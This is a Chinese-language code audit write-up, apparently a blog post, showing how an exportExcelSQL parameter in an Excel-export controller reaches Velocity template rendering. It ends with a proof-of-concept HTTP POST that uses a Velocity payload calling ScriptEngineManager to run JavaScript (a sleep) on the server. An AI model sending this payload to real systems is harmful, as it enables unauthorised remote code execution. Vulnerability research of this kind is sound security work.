代码审计

直接看代码/controller/ExportExcelController.java

前面都是从请求参数获取值。

image

主要看下面这几个IF,其中当isBySQL=true时会进入exportExcelBySQL方法

else if (isBySQL) {
                        fileName = exportExcelBySQL(request, saveAsDir);

image

跟进exportExcelBySQL方法

 private String exportExcelBySQL(HttpServletRequest request, String saveAsDir) throws IOException, SQLException {
        String fileName;
        String sql = request.getParameter("exportExcelSQL");
        int startExportColIndex = ReportCommon.getIntRequest(request, "startExportColIndex");
        String headerJson = request.getParameter("headerJson");
        if (startExportColIndex == -1) {
            fileName = this.exportExcelService.exportExcelBySQL(sql, headerJson, saveAsDir);
        } else {
            fileName = this.exportExcelService.exportExcelBySQL(sql, startExportColIndex, headerJson, saveAsDir);
        }
        return fileName;
    }

image

跟进exportExcelBySQL方法,最后会来到这个方法

注意VelocityUtil.getInstance().renderTemplateContent(sql, new VelocityContext(params)), params) ,十分明显的Velocity模版解析,并且sql参数也是我们从前端传入的

即exportExcelSQL,所以我们只需要构造相应参数即可实现命令执行

    public String exportExcelBySQL(String sql, int startExportColIndex, String headerJson, String saveAsDir) throws IOException, SQLException {
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
        Map<String, Object> params = ReportCommon.getQueryParas(request);
        boolean isMulti = ReportCommon.toBoolean(params.get("isMulti"));
        DataTable dt = this.reportService.queryData(VelocityUtil.getInstance().renderTemplateContent(sql, new VelocityContext(params)), params);
        return exportExcel(dt, startExportColIndex, "", false, headerJson, saveAsDir, isMulti);
    }

image

POC

POST /prod-api/report/exportExcel/export HTTP/1.1
Host: XXXXXXXXXXXXXXX
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

templateExportType=2&isDownLoad=true&isBySQL=true&isByJsonAndXml=false&exportExcelSQL=#set($x=%22%22);$x.class.forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22js%22).eval(%22java.lang.Thread.sleep(5000)%22)&headerJson={"columns":[{"title":"ID"}]}&templateDir=test&saveAsFileName=output.xlsx

文章目录